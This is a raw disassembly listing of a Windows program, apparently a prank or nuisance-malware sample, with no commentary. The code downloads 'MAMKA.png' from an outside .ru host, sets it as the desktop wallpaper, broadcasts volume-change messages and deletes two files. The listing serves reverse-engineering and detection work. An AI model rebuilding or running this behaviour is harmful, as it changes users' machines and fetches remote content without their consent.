mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x4b0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x27]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x140002a25
lea r8, str.MAMKA.png
mov edx, 0x104
lea rcx, [rbp + 0x4b0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [rbp + 0x4b0]
lea rdx, str.http:__a0883857.xsph.ru_MAMKA.png
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov r9d, 1
lea r8, [rbp + 0x4b0]
xor edx, edx
lea ecx, [rdx + 0x14]
call qword [sym.imp.USER32.dll_SystemParametersInfoW]
mov r9d, 0xa0000
xor r8d, r8d
mov edx, 0x319
mov ecx, 0xffff
call qword [sym.imp.USER32.dll_SendMessageW]
mov r9d, 0xa0000
xor r8d, r8d
mov edx, 0x319
mov ecx, 0xffff
call qword [sym.imp.USER32.dll_SendMessageW]
mov r9d, 0xa0000
xor r8d, r8d
mov edx, 0x319
mov ecx, 0xffff
call qword [sym.imp.USER32.dll_SendMessageW]
mov ecx, 0x61a8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0xb8]
cmp qword [rbp + 0xd0], 0x10
cmovae rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [rbp + 0x98]
cmp qword [rbp + 0xb0], 0x10
cmovae rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rdx, qword [rbp + 0xb0]
cmp rdx, 0x10
jb 0x140002af9
inc rdx
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002af4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002af4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400042bc
movdqa xmm0, xmmword [0x140006920]
movdqu xmmword [rbp + 0xa8], xmm0
mov byte [rbp + 0x98], 0
mov rdx, qword [rbp + 0xd0]
cmp rdx, 0x10
jb 0x140002b54
inc rdx
mov rcx, qword [rbp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b4f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002b4f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400042bc
movdqa xmm0, xmmword [0x140006920]
movdqu xmmword [rbp + 0xc8], xmm0
mov byte [rbp + 0xb8], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x140002ba9
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ba4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002ba4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400042bc
movdqa xmm0, xmmword [0x140006920]
movdqu xmmword [rbp - 0x18], xmm0
mov byte [rbp - 0x28], 0
mov rdx, qword [rbp + 0x10]
cmp rdx, 0x10
jb 0x140002bf8
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002bf3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002bf3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400042bc
movdqa xmm0, xmmword [0x140006920]
movdqu xmmword [rbp + 8], xmm0
mov byte [rbp - 8], 0
mov rdx, qword [rbp + 0x30]
cmp rdx, 0x10
jb 0x140002c47
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c42
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c42
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400042bc
mov qword [rbp + 0x28], r13
mov qword [rbp + 0x30], 0xf
mov byte [rbp + 0x18], 0
mov rdx, qword [rbp + 0x50]
cmp rdx, 0x10
jb 0x140002c95
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c90
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c90
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400042bc
mov qword [rbp + 0x48], r13
mov qword [rbp + 0x50], 0xf
mov byte [rbp + 0x38], 0
mov rdx, qword [rbp + 0x90]
cmp rdx, 0x10
jb 0x140002ce6
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ce1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002ce1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400042bc
movdqa xmm0, xmmword [0x140006920]
movdqu xmmword [rbp + 0x88], xmm0
mov byte [rbp + 0x78], 0
mov rdx, qword [rbp + 0xf0]
cmp rdx, 0x10
jb 0x140002d3c
inc rdx
mov rax, r12
cmp rdx, 0x1000
jb 0x140002d33
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002d33
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r12
call fcn.1400042bc
nop
cmp rsi, 0x10
jb 0x140002d77
lea rdx, [rsi + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x140002d6e
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002d6e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.1400042bc
nop
mov rax, qword [rbp + 0x110]
cmp rax, 0x10
jb 0x140002dbd
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002db7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002db7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400042bc
nop
mov rax, qword [rbp + 0x130]
cmp rax, 0x10
jb 0x140002e03
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002dfd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002dfd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400042bc
nop
mov rax, qword [rbp + 0x150]
cmp rax, 0x10
jb 0x140002e49
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0x138]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e43
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002e43
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400042bc
nop
mov rax, qword [rbp + 0x170]
cmp rax, 0x10
jb 0x140002e8e
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e89
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002e89
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400042bc
xor eax, eax
mov rcx, qword [rbp + 0x6c0]
xor rcx, rsp
call fcn.140004260
lea r11, [rsp + 0x7d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011a0
nop
call fcn.140001100
nop
call fcn.140001100
nop
call fcn.140001100
nop
call fcn.1400011a0
nop
call fcn.1400011a0
int3